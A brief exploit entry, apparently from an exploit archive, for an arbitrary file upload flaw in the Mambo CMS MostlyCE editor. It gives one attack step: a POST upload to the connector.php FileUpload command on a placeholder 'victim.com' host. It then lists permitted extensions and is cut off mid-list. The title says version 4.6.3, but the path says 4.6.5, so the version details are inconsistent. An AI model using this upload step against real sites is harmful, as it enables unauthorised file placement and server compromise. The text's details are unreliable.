Mambo 4.6.3 arbitrary file upload

Step 1 Using post method send file to: http://victim.com/mambo4.6.5/mambots/editors/mostlyce/jscripts/tinymce/filemanager/connectors/php/connector.php?Command=FileUpload file should have one of the following extensions: zip, doc, xls, pdf, rtf, csv, jpg, gif, jpeg, png, avi, mpg, mpeg, swf, fla...